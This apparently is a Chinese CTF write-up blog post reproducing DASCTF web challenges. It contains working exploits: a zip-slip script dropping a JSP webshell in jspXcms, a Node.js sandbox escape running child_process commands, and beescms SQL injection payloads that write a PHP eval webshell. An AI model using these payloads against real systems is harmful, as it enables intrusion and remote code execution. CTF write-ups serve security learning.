爱意东升西落,浪漫至死不渝
0x00引言
DASCTF的赛题复现
0x01 Web
cat flag
<?php
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
if (!preg_match('/flag/i',$cmd))
{
$cmd = escapeshellarg($cmd);
system('cat ' . $cmd);
}
} else {
highlight_file(__FILE__);
}
?>
此处存在任意文件读取漏洞,但是过滤了flag关键字,且存在escapeshellarg
一般读取文件,思路可以是读取那些固定路径的文件,比如apache的配置文件,nginx的配置文件等,或者是web日志、错误日志等。而恰好这里提示admin曾访问过flag,这里提示是说,有人访问过flag,即日志文件中必定有这个记录,所以直接读取日志文件即可。先读取配置文件,看看日志在哪个目录下?cmd=/etc/nginx/nginx.conf
然后发现了目录
读取日志文件发现了flag的文件名this_is_final_flag_e2a457126032b42d.php
绕过flag进行读取
Unicode字符绕过请问辅导班v从
?cmd=this_is_final_fl%f1ag_e2a457126032b42d.php
easythinkphp
之前在群里看到一个师傅分享过一个tp的一个GUI,于是拿出来用了一下。因为好久没关注了,竟没发现两周前更新了3.x的rce,所以当时只找到了日志泄露,没下一步了。
项目地址:https://github.com/Lotus6/ThinkphpGUI
getshell操作,密码为peiqi
即可蚁剑连接。
jspXcms
搜索jspXcms即可发现很多历史漏洞,而且发现管理后台地址为:http://ip/cmscp/index.do
弱口令:用户admin,空密码
进入后台,在文件管理处有个上传文件的功能,然后发现可以上传zip,其他文件也可以只不过是无法直接连接上传的木马的。
然后发现这篇文章:spxcms解压getshell漏洞
跟着复现一遍即可。
使用冰蝎自带的jsp马,生成一个war文件
jar.exe cf shell.war shell.jsp
使用脚本进行压缩,压缩一个危险压缩包。
import zipfile
if __name__ == "__main__":
try:
binary = open('shell.war','rb').read()
zipFile = zipfile.ZipFile("m0re.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("m0re.zip")
zipFile.writestr("../../../test.war", binary)
zipFile.close()
except IOError as e:
raise e
生成的m0re.zip
进行上传,并在后台进行解压
随后即可连接木马
注意路径。与目录穿越有关。../../../test.war
这里进行目录穿越。
漏洞成因:
在该系统中,上传任意文件,但是一个问题限制了对jsp文件的访问,所以直接上传jsp木马是行不通的。在JspDispatcherFilter.java
限制了对jsp文件的访问
后台还可以上传zip文件,上传后会自动解压,问题出现在WebFileUploadsController.java
里的unzip
方法,调用了下层方法却没有进行文件名检查,导致目录穿透。
随便上传一个文件,即可了解上传路径为/uploads/1/xxx.zip
而次web项目是在tomcat目录\webapps\ROOT\
下,所以目录为:/webapps/ROOT/uploads/1/
这里穿越到webapps
目录下即可,所以向上穿三层。
ezrce
参考https://blog.csdn.net/XavierDarkness/article/details/118662886
按照步骤来进行
记得开启脚本,然后保存。
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("cat /ffffffflllllaggggg").toString()
访问预览里的地址即可看到flag
cybercms
https://www.cnblogs.com/yuzly/p/11423384.html
提示信息收集,发现源码泄露/www.zip
然后看到sql文件,是数据库里的数据,看一下发现有一个数据库名是bees_admin
所以猜测该cms的名字是不是赛博cms,搜索不到,故搜索bees_admin
发现了beescms
,跟题目是一样的。出题人只是改了名字而已。所以这里找到了beescms
的后台SQL注入漏洞,链接在上面,进行复现。
后台登录处SQL注入,bypass
union => uni union on
select => selselectect
outfile => outoutfilefile
into => in into
可以通过利用mysql注入的一个特性就可以达到注入效果(即对shell部分进行Hex编码),或者用mysql函数char()就可以绕过这里的限制。
payload
#first
admi%27union/**/selselectect/**/null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e/**/into/**/outoutfilefile%27/var/www/html/shell.php%27%23
#second
admi%27union/**/selselectect/**/null,null,null,null,char(60,63,112,104,112,32,64,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,59,63,62)/**/into/**/outoutfilefile%27/var/www/html/shel.php%27%23
蚁剑连接
- 本文链接:https://m0re.top/posts/e5c925d7/
- 版权声明:本博客所有文章除特别声明外,均默认采用 许可协议。
您可以点击下方按钮切换对应评论系统,
Valineutterances